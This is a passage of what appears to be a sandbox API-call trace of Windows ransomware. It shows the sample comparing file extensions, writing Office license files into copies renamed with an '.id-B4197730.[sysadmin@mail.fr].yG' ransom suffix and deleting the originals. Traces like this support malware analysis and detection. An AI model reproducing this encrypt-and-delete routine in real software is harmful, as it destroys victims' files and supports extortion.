	[0172.371] lstrlenW (lpString=".ppt") returned 4
	[0172.371] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.371] lstrlenW (lpString=".zip") returned 4
	[0172.371] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.371] lstrlenW (lpString=".rar") returned 4
	[0172.371] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.371] lstrlenW (lpString=".bz2") returned 4
	[0172.371] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.372] lstrlenW (lpString=".7z") returned 3
	[0172.372] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.372] lstrlenW (lpString=".dbf") returned 4
	[0172.372] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.372] lstrlenW (lpString=".1cd") returned 4
	[0172.372] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0172.372] lstrlenW (lpString=".jpg") returned 4
	[0172.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.374] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11624) returned 1
	[0172.374] CloseHandle (hObject=0x550) returned 1
	[0172.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0172.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.376] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.376] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0172.377] GetLastError () returned 0x0
	[0172.377] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0172.716] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0172.717] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.717] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x116, lpOverlapped=0x0) returned 1
	[0172.717] SetEndOfFile (hFile=0x554) returned 1
	[0172.940] CloseHandle (hObject=0x554) returned 1
	[0172.979] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.979] SetEndOfFile (hFile=0x550) returned 1
	[0172.982] CloseHandle (hObject=0x550) returned 1
	[0172.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0172.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1
	[0172.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.984] lstrlenW (lpString=".doc") returned 4
	[0172.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0172.984] lstrlenW (lpString=".docx") returned 5
	[0172.984] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0172.984] lstrlenW (lpString=".pdf") returned 4
	[0172.984] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0172.984] lstrlenW (lpString=".xls") returned 4
	[0172.984] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0172.984] lstrlenW (lpString=".xlsx") returned 5
	[0172.984] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0172.984] lstrlenW (lpString=".ppt") returned 4
	[0172.985] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.985] lstrlenW (lpString=".zip") returned 4
	[0172.985] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0172.985] lstrlenW (lpString=".rar") returned 4
	[0172.985] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0172.985] lstrlenW (lpString=".bz2") returned 4
	[0172.985] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0172.985] lstrlenW (lpString=".7z") returned 3
	[0172.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.985] lstrlenW (lpString=".dbf") returned 4
	[0172.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.985] lstrlenW (lpString=".1cd") returned 4
	[0172.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0172.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0172.985] lstrlenW (lpString=".jpg") returned 4
	[0172.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0172.986] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11199) returned 1
	[0172.986] CloseHandle (hObject=0x550) returned 1
	[0172.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220
	[0172.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0172.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0172.987] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.987] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0172.988] GetLastError () returned 0x0
	[0172.988] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0173.000] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0173.001] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.001] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.001] SetEndOfFile (hFile=0x554) returned 1
	[0173.001] CloseHandle (hObject=0x554) returned 1
	[0173.001] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.001] SetEndOfFile (hFile=0x550) returned 1
	[0173.004] CloseHandle (hObject=0x550) returned 1
	[0173.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1
	[0173.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0173.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0173.006] lstrlenW (lpString=".doc") returned 4
	[0173.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.006] lstrlenW (lpString=".docx") returned 5
	[0173.007] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.007] lstrlenW (lpString=".pdf") returned 4
	[0173.007] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString=".xls") returned 4
	[0173.007] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString=".xlsx") returned 5
	[0173.007] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.007] lstrlenW (lpString=".ppt") returned 4
	[0173.007] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0173.007] lstrlenW (lpString=".zip") returned 4
	[0173.007] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString=".rar") returned 4
	[0173.007] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString=".bz2") returned 4
	[0173.007] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString=".7z") returned 3
	[0173.007] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0173.007] lstrlenW (lpString=".dbf") returned 4
	[0173.007] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0173.007] lstrlenW (lpString=".1cd") returned 4
	[0173.007] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0173.007] lstrlenW (lpString=".jpg") returned 4
	[0173.008] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.009] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=26541) returned 1
	[0173.009] CloseHandle (hObject=0x550) returned 1
	[0173.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220
	[0173.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.010] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.010] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.011] GetLastError () returned 0x0
	[0173.011] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0173.037] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0173.039] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.039] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x120, lpOverlapped=0x0) returned 1
	[0173.039] SetEndOfFile (hFile=0x554) returned 1
	[0173.039] CloseHandle (hObject=0x554) returned 1
	[0173.039] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.039] SetEndOfFile (hFile=0x550) returned 1
	[0173.043] CloseHandle (hObject=0x550) returned 1
	[0173.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1
	[0173.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0173.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0173.045] lstrlenW (lpString=".doc") returned 4
	[0173.045] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.045] lstrlenW (lpString=".docx") returned 5
	[0173.045] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.045] lstrlenW (lpString=".pdf") returned 4
	[0173.045] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.045] lstrlenW (lpString=".xls") returned 4
	[0173.045] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.045] lstrlenW (lpString=".xlsx") returned 5
	[0173.045] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.045] lstrlenW (lpString=".ppt") returned 4
	[0173.045] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0173.045] lstrlenW (lpString=".zip") returned 4
	[0173.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.046] lstrlenW (lpString=".rar") returned 4
	[0173.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.046] lstrlenW (lpString=".bz2") returned 4
	[0173.046] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.046] lstrlenW (lpString=".7z") returned 3
	[0173.046] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0173.046] lstrlenW (lpString=".dbf") returned 4
	[0173.046] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0173.046] lstrlenW (lpString=".1cd") returned 4
	[0173.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0173.046] lstrlenW (lpString=".jpg") returned 4
	[0173.046] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.047] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11651) returned 1
	[0173.047] CloseHandle (hObject=0x550) returned 1
	[0173.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0173.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.048] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.048] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.049] GetLastError () returned 0x0
	[0173.049] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0173.230] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0173.231] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.231] WriteFile (in: hFile=0x554, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0173.232] SetEndOfFile (hFile=0x554) returned 1
	[0173.232] CloseHandle (hObject=0x554) returned 1
	[0173.232] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.232] SetEndOfFile (hFile=0x550) returned 1
	[0173.237] CloseHandle (hObject=0x550) returned 1
	[0173.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ul-oob.xrm-ms")) returned 1
	[0173.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0173.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0173.258] lstrlenW (lpString=".doc") returned 4
	[0173.258] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.258] lstrlenW (lpString=".docx") returned 5
	[0173.258] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.258] lstrlenW (lpString=".pdf") returned 4
	[0173.258] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.258] lstrlenW (lpString=".xls") returned 4
	[0173.258] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.258] lstrlenW (lpString=".xlsx") returned 5
	[0173.258] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.258] lstrlenW (lpString=".ppt") returned 4
	[0173.258] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0173.259] lstrlenW (lpString=".zip") returned 4
	[0173.259] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.259] lstrlenW (lpString=".rar") returned 4
	[0173.259] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.259] lstrlenW (lpString=".bz2") returned 4
	[0173.259] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.259] lstrlenW (lpString=".7z") returned 3
	[0173.259] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0173.259] lstrlenW (lpString=".dbf") returned 4
	[0173.259] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0173.259] lstrlenW (lpString=".1cd") returned 4
	[0173.259] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ul-oob.xrm-ms") returned 91
	[0173.259] lstrlenW (lpString=".jpg") returned 4
